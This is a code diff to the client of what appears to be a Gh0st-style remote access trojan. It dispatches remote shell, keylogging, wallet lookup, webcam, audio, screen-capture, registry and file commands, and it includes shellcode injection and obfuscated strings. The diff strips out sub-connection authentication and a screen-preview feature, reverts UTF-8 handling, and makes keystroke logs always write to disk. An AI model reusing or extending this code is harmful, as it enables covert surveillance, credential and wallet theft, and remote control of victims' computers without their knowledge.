// 子连接身份校验:发 TOKEN_CONN_AUTH 包,等服务端 ConnAuthAck 响应。
|
||||
// 返回 true 表示通过,false 表示超时/失败/网络错误。
|
||||
// 主连接不调用此方法。新客户端必须调用并校验成功后才能继续后续命令。
|
||||
// 已实现的协议扩展(如 KeyBoard 子连接的 cap word)保留不变,与本机制并行工作。
|
||||
bool PerformConnAuth(uint64_t clientID, int timeoutMs);
|
||||
|
||||
// 让 ConnectServer 在每次成功后自动调一次 PerformConnAuth(opt-in)。
|
||||
// 子连接构造后调用此方法启用。
|
||||
// - clientID == 0:每次 auth 时从 m_conn->clientID 现取(Windows 客户端走此路径)。
|
||||
// 这样即便 IOCPClient 创建时主连接还没拿到 ID,真正连上时也能用到最新值。
|
||||
// - clientID != 0:显式指定(Linux/macOS 客户端 IOCPClient 不带 m_conn 时用此参数)。
|
||||
void EnableSubConnAuth(bool enabled = true, uint64_t clientID = 0) {
|
||||
m_subConnAuthEnabled = enabled;
|
||||
m_subConnAuthClientID = clientID;
|
||||
}
|
||||
|
||||
// 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。
|
||||
// 仅在我们正在等待 auth 响应时(m_authPending=true)才消费;否则透传给 manager。
|
||||
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
|
||||
|
||||
// 主动断开当前连接,关闭 socket。提到 public 让外层(如 Linux/macOS main 的心跳
|
||||
// 循环检测到服务端身份校验超时)能在重连前显式关闭旧 fd,避免泄漏。
|
||||
virtual VOID Disconnect(); // 函数支持 TCP/UDP
|
||||
|
||||
protected:
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
@@ -293,6 +266,7 @@ protected:
|
||||
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||
}
|
||||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
|
||||
virtual VOID Disconnect(); // 函数支持 TCP/UDP
|
||||
virtual int SendTo(const char* buf, int len, int flags)
|
||||
{
|
||||
return ::send(m_sClientSocket, buf, len, flags);
|
||||
@@ -311,16 +285,6 @@ protected:
|
||||
BOOL m_bConnected;
|
||||
|
||||
std::mutex m_Locker;
|
||||
|
||||
// 子连接身份校验同步状态。仅在 PerformConnAuth 调用期间生效。
|
||||
std::mutex m_authMtx;
|
||||
std::condition_variable m_authCv;
|
||||
int m_authStatus = -1; // -1 = 未启动;其它 = ConnAuthStatus
|
||||
bool m_authPending = false; // true 时 TryHandleAuthResponse 才消费 ack
|
||||
|
||||
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
|
||||
bool m_subConnAuthEnabled = false;
|
||||
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // 压缩上下文
|
||||
ZSTD_DCtx* m_Dctx; // 解压上下文
|
||||
|
||||
@@ -18,7 +18,6 @@
|
||||
#include "auto_start.h"
|
||||
#include "ShellcodeInj.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "ScreenPreview.h"
|
||||
#include "common/file_upload.h"
|
||||
#include "common/DateVerify.h"
|
||||
#include "common/LANChecker.h"
|
||||
@@ -54,9 +53,7 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
|
||||
{
|
||||
ThreadInfo *tKeyboard = new ThreadInfo();
|
||||
tKeyboard->run = FOREVER_RUN;
|
||||
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
tKeyboard->p = sub;
|
||||
tKeyboard->p = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
||||
tKeyboard->conn = conn;
|
||||
tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL);
|
||||
return tKeyboard;
|
||||
@@ -959,11 +956,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_PROXY: {
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -1067,49 +1060,33 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (m_hKeyboard) {
|
||||
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||
} else {
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_TALK: {
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SHELL: {
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SYSTEM: { //远程进程管理
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_WSLIST: { //远程窗口管理
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -1138,65 +1115,20 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SCREEN_PREVIEW_REQ: {
|
||||
if (ulLength < sizeof(ScreenPreviewReq)) break;
|
||||
ScreenPreviewReq req;
|
||||
memcpy(&req, szBuffer, sizeof(req));
|
||||
// 限流:同一时刻最多 1 个抓屏任务在跑,防御服务端洪泛或异常重发把客户端打爆
|
||||
static std::atomic<int> s_inFlight{0};
|
||||
if (s_inFlight.fetch_add(1) >= 1) {
|
||||
s_inFlight.fetch_sub(1);
|
||||
break; // 直接丢弃,让服务端 4s 超时降级为"预览不可用"
|
||||
}
|
||||
// 投递到工作线程,避免阻塞 OnReceive;抓屏 + 编码可能耗几十毫秒
|
||||
std::thread([this, req]() {
|
||||
struct Guard { ~Guard(){ s_inFlight.fetch_sub(1); } } guard;
|
||||
std::vector<unsigned char> jpg;
|
||||
int w = 0, h = 0;
|
||||
int st = CaptureAndEncodePreview(req.maxWidth, req.jpegQuality, jpg, w, h);
|
||||
|
||||
std::vector<BYTE> pkt(sizeof(ScreenPreviewRspHeader) + (st == SCREEN_PREVIEW_OK ? jpg.size() : 0));
|
||||
ScreenPreviewRspHeader* hdr = reinterpret_cast<ScreenPreviewRspHeader*>(pkt.data());
|
||||
memset(hdr, 0, sizeof(*hdr));
|
||||
hdr->token = TOKEN_SCREEN_PREVIEW_RSP;
|
||||
hdr->reqId = req.reqId;
|
||||
hdr->status = (uint8_t)st;
|
||||
hdr->format = SCREEN_PREVIEW_FMT_JPEG;
|
||||
hdr->width = (uint16_t)w;
|
||||
hdr->height = (uint16_t)h;
|
||||
hdr->bytes = (uint32_t)(st == SCREEN_PREVIEW_OK ? jpg.size() : 0);
|
||||
if (st == SCREEN_PREVIEW_OK && !jpg.empty()) {
|
||||
memcpy(pkt.data() + sizeof(*hdr), jpg.data(), jpg.size());
|
||||
}
|
||||
if (m_ClientObject && m_ClientObject->IsConnected()) {
|
||||
m_ClientObject->Send2Server((char*)pkt.data(), (int)pkt.size());
|
||||
}
|
||||
}).detach();
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SCREEN_SPY: {
|
||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||
if (ulLength > 1) {
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||
m_hThread[m_ulThreadCount].user = user;
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_LIST_DRIVE : {
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -1204,41 +1136,25 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_WEBCAM: {
|
||||
static bool hasCamera = WebCamIsExist();
|
||||
if (!hasCamera) break;
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_AUDIO: {
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_REGEDIT: {
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SERVICES: {
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
@@ -1356,7 +1272,6 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
opts.enableResume = queryPending; // 只有发送了查询才等待响应
|
||||
|
||||
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
|
||||
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||
std::thread([files, targetDir, pClient, opts, hash, hmac]() {
|
||||
FileBatchTransferWorkerV2(files, targetDir, pClient,
|
||||
|
||||
@@ -63,34 +63,9 @@ private:
|
||||
if (hForegroundWindow == NULL)
|
||||
return "No active window";
|
||||
|
||||
// 用 W 接口取标题,再转 UTF-8,避免依赖客户端系统 ANSI 代码页
|
||||
wchar_t wTitle[256] = { 0 };
|
||||
GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
|
||||
if (wTitle[0] == L'\0')
|
||||
return std::string();
|
||||
|
||||
int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
|
||||
if (u8len <= 1)
|
||||
return std::string();
|
||||
|
||||
// 协议字段 ActiveWnd[512],UTF-8 中文最多 3 字节/字符,必要时按完整码点截断
|
||||
std::string out(u8len - 1, '\0');
|
||||
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
|
||||
if (out.size() >= 511) {
|
||||
out.resize(511);
|
||||
// 回退到上一个完整 UTF-8 码点起始
|
||||
while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
|
||||
out.pop_back();
|
||||
if (!out.empty()) {
|
||||
unsigned char lead = static_cast<unsigned char>(out.back());
|
||||
int need = (lead & 0x80) == 0 ? 1
|
||||
: (lead & 0xE0) == 0xC0 ? 2
|
||||
: (lead & 0xF0) == 0xE0 ? 3
|
||||
: (lead & 0xF8) == 0xF0 ? 4 : 0;
|
||||
if (need == 0) out.pop_back();
|
||||
}
|
||||
}
|
||||
return out;
|
||||
char windowTitle[256];
|
||||
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
|
||||
return std::string(windowTitle);
|
||||
}
|
||||
|
||||
DWORD GetLastInputTime()
|
||||
|
||||
@@ -76,10 +76,7 @@ CKeyboardManager1::~CKeyboardManager1()
|
||||
SAFE_CLOSE_HANDLE(m_hClipboard);
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
SAFE_CLOSE_HANDLE(m_hSendThread);
|
||||
// 仅在离线记录开启时才回写磁盘;否则缓冲区随对象释放,不让 CLEAR 后的新击键意外落盘。
|
||||
if (m_bIsOfflineRecord) {
|
||||
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
||||
}
|
||||
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
||||
delete m_Buffer;
|
||||
Mprintf("~CKeyboardManager1: Stop %p\n", this);
|
||||
}
|
||||
@@ -132,15 +129,9 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||
|
||||
int CKeyboardManager1::sendStartKeyBoard()
|
||||
{
|
||||
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
|
||||
// 子连接没经过 LOGIN_INFOR,服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
|
||||
// 让客户端自己带过来,避免服务端通过 IP 反查主连接(NAT/127.0.0.1 等场景反查会失败)。
|
||||
// 老服务端读不到 byte 2-3 没关系(只读 byte 1),向后兼容。
|
||||
BYTE bToken[4];
|
||||
BYTE bToken[2];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
||||
memcpy(bToken + 2, &caps, sizeof(WORD));
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
||||
}
|
||||
|
||||
@@ -213,26 +213,19 @@ std::string GetCurrentExeVersion()
|
||||
|
||||
std::string GetCurrentUserNameA()
|
||||
{
|
||||
// 用 W 接口取宽字符再转 UTF-8,避免依赖系统 ANSI 代码页(中文账号名在英语系统上
|
||||
// 用 GetUserNameA 取出来是 '?',与 LOGIN_INFOR 的 CLIENT_CAP_UTF8 声明也不一致)。
|
||||
wchar_t wname[256] = {};
|
||||
DWORD wsize = _countof(wname);
|
||||
if (!GetUserNameW(wname, &wsize)) {
|
||||
char username[256];
|
||||
DWORD size = sizeof(username);
|
||||
|
||||
if (GetUserNameA(username, &size)) {
|
||||
return std::string(username);
|
||||
} else {
|
||||
return "Unknown";
|
||||
}
|
||||
char buf[256 * 3] = {};
|
||||
if (WideCharToMultiByte(CP_UTF8, 0, wname, -1, buf, sizeof(buf), NULL, NULL) <= 0) {
|
||||
return "Unknown";
|
||||
}
|
||||
return std::string(buf);
|
||||
}
|
||||
|
||||
#define XXH_INLINE_ALL
|
||||
#include "common/xxhash.h"
|
||||
|
||||
// 老算法:基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
|
||||
// 注意:pubIP 不稳定(DHCP/换网络)会让 ID 跳变;同 hostname+同安装路径的多机会撞库。
|
||||
// 保留此函数仅为协议兼容(老服务端仍按这个算法验算 RES_CLIENT_ID)。
|
||||
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
|
||||
uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
|
||||
{
|
||||
std::string s;
|
||||
@@ -243,52 +236,6 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
|
||||
return XXH64(s.c_str(), s.length(), 0);
|
||||
}
|
||||
|
||||
// 读取 Windows 安装时生成的机器 GUID。
|
||||
// HKLM\Software\Microsoft\Cryptography\MachineGuid 是 Windows 安装时生成的随机 GUID,
|
||||
// 重装系统才会变;局域网每台机器都不同(即便同镜像,sysprep 也会重置)。
|
||||
// 这是比 pubIP/PCName/CPU 都更稳定且更具区分度的硬件标识。
|
||||
static std::string GetMachineGuidWindows()
|
||||
{
|
||||
HKEY hKey = NULL;
|
||||
// KEY_WOW64_64KEY: 32 位进程也访问 64 位注册表视图,避免 WOW6432Node 重定向。
|
||||
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
|
||||
"SOFTWARE\\Microsoft\\Cryptography",
|
||||
0, KEY_READ | KEY_WOW64_64KEY, &hKey) != ERROR_SUCCESS) {
|
||||
return std::string();
|
||||
}
|
||||
char buf[64] = {};
|
||||
DWORD sz = sizeof(buf) - 1; // 留 1 字节给 NUL
|
||||
DWORD type = 0;
|
||||
LSTATUS s = RegQueryValueExA(hKey, "MachineGuid", NULL, &type,
|
||||
(BYTE*)buf, &sz);
|
||||
RegCloseKey(hKey);
|
||||
if (s != ERROR_SUCCESS || type != REG_SZ) return std::string();
|
||||
return std::string(buf);
|
||||
}
|
||||
|
||||
// 路径归一化:先尝试展开成长路径(如 PROGRA~1 -> Program Files),再小写化。
|
||||
// 用于 V2 ID 的输入,保证大小写或长短名变化时同一可执行文件得到同一 ID。
|
||||
static std::string NormalizeExePathLower(const char* path)
|
||||
{
|
||||
char longPath[MAX_PATH] = {};
|
||||
if (GetLongPathNameA(path, longPath, MAX_PATH) == 0) {
|
||||
// 展开失败(路径不存在等罕见情况):直接用原值
|
||||
strcpy_s(longPath, path);
|
||||
}
|
||||
CharLowerA(longPath); // 原地小写化(对 ASCII 简单,对中文路径会按宽字符规则处理)
|
||||
return std::string(longPath);
|
||||
}
|
||||
|
||||
// 新算法:machineGuid + 归一化路径
|
||||
// - 同机同程序:永远同 ID(不依赖 IP/PCName/OS/CPU)。
|
||||
// - 局域网多机相同镜像:MachineGuid 必不同 → ID 必不同。
|
||||
// - 一台机两份程序在不同目录 → ID 不同。
|
||||
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath)
|
||||
{
|
||||
std::string s = machineGuid + "|" + normalizedPath;
|
||||
return XXH64(s.c_str(), s.length(), 0);
|
||||
}
|
||||
|
||||
BOOL IsAuthKernel(std::string &str) {
|
||||
BOOL isAuthKernel = FALSE;
|
||||
std::string pid = std::to_string(GetCurrentProcessId());
|
||||
@@ -345,18 +292,9 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
||||
LoginInfor.AddReserved(getOSBits()); // 系统位数
|
||||
LoginInfor.AddReserved(GetCPUCores()); // CPU核数
|
||||
LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存
|
||||
// 路径分两份处理:
|
||||
// - buf (CP_ACP): 保留给 CalcalateIDv2 / 老 CalculateID 用,保证升级后 client ID
|
||||
// 不变(老版客户端用的是 GetModuleFileNameA 的 CP_ACP 字节,
|
||||
// 若改成 UTF-8 同一物理路径会算出不同 ID,丢授权/备注)。
|
||||
// - utf8Path: 发给服务端的 RES_FILE_PATH,与 CLIENT_CAP_UTF8 一致。
|
||||
char buf[_MAX_PATH] = {};
|
||||
GetModuleFileNameA(NULL, buf, sizeof(buf)); // CP_ACP, 留给 ID 计算用
|
||||
wchar_t wbuf[_MAX_PATH] = {};
|
||||
GetModuleFileNameW(NULL, wbuf, _MAX_PATH);
|
||||
char utf8Path[_MAX_PATH * 3] = {}; // UTF-8 最多 3 字节/中文,给足
|
||||
WideCharToMultiByte(CP_UTF8, 0, wbuf, -1, utf8Path, sizeof(utf8Path), NULL, NULL);
|
||||
LoginInfor.AddReserved(utf8Path); // 文件路径 (UTF-8 发给服务端显示)
|
||||
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
||||
LoginInfor.AddReserved(buf); // 文件路径
|
||||
LoginInfor.AddReserved("?"); // test
|
||||
std::string installTime = cfg.GetStr("settings", "install_time");
|
||||
if (installTime.empty()) {
|
||||
@@ -368,7 +306,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
||||
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
|
||||
GetFileAttributesExW(wbuf, GetFileExInfoStandard, &fileInfo);
|
||||
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
|
||||
LoginInfor.AddReserved(str.c_str()); // 授权信息
|
||||
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
|
||||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
||||
@@ -394,17 +332,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
||||
LoginInfor.AddReserved(IsRunningAsAdmin());
|
||||
char cpuInfo[32];
|
||||
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
||||
// V2 ID 算法:MachineGuid + 归一化路径
|
||||
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移)
|
||||
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库
|
||||
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
|
||||
std::string machineGuid = GetMachineGuidWindows();
|
||||
if (!machineGuid.empty()) {
|
||||
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf));
|
||||
} else {
|
||||
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
|
||||
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
||||
}
|
||||
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
||||
auto clientID = std::to_string(conn.clientID);
|
||||
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
|
||||
char reservedInfo[64];
|
||||
|
||||
@@ -137,11 +137,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
||||
}
|
||||
}
|
||||
|
||||
int quality = cfg.GetInt("settings", "QualityLevel", QUALITY_GOOD);
|
||||
if (algo != (BYTE)ALGORITHM_NUL)
|
||||
quality = QUALITY_DISABLED;
|
||||
Mprintf("图像传输算法: %d, 多显示器支持是否启用: %d, 屏幕质量等级: %d\n", (int)algo, all, quality);
|
||||
|
||||
BOOL fixedQuality = all || algo == ALGORITHM_H264;
|
||||
m_ScreenSettings.MaxFPS = m_nMaxFPS;
|
||||
m_ScreenSettings.CompressThread = threadNum;
|
||||
m_ScreenSettings.ScreenStrategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
||||
@@ -150,7 +146,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
||||
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
||||
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
||||
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
||||
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
|
||||
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", fixedQuality ? QUALITY_GOOD : QUALITY_ADAPTIVE);
|
||||
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
|
||||
|
||||
|
||||
@@ -1,188 +0,0 @@
|
||||
// ScreenPreview.cpp
|
||||
#include "stdafx.h"
|
||||
#include "ScreenPreview.h"
|
||||
#include "../common/commands.h" // ScreenPreviewStatus
|
||||
|
||||
#include <windows.h>
|
||||
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
|
||||
#include <gdiplus.h>
|
||||
#pragma comment(lib, "gdiplus.lib")
|
||||
|
||||
using namespace Gdiplus;
|
||||
|
||||
namespace {
|
||||
|
||||
// GDI+ 进程级初始化(与 Bmp2Video 互不冲突;Startup 可重入计数)
|
||||
struct GdiplusBoot {
|
||||
ULONG_PTR token = 0;
|
||||
bool ok = false;
|
||||
GdiplusBoot()
|
||||
{
|
||||
GdiplusStartupInput in;
|
||||
ok = (GdiplusStartup(&token, &in, NULL) == Ok);
|
||||
}
|
||||
~GdiplusBoot()
|
||||
{
|
||||
if (ok) GdiplusShutdown(token);
|
||||
}
|
||||
};
|
||||
static GdiplusBoot g_boot;
|
||||
|
||||
int GetJpegEncoderClsid(CLSID& clsid)
|
||||
{
|
||||
UINT num = 0, size = 0;
|
||||
GetImageEncodersSize(&num, &size);
|
||||
if (size == 0) return -1;
|
||||
|
||||
std::vector<BYTE> buf(size);
|
||||
ImageCodecInfo* info = reinterpret_cast<ImageCodecInfo*>(buf.data());
|
||||
GetImageEncoders(num, size, info);
|
||||
for (UINT i = 0; i < num; ++i) {
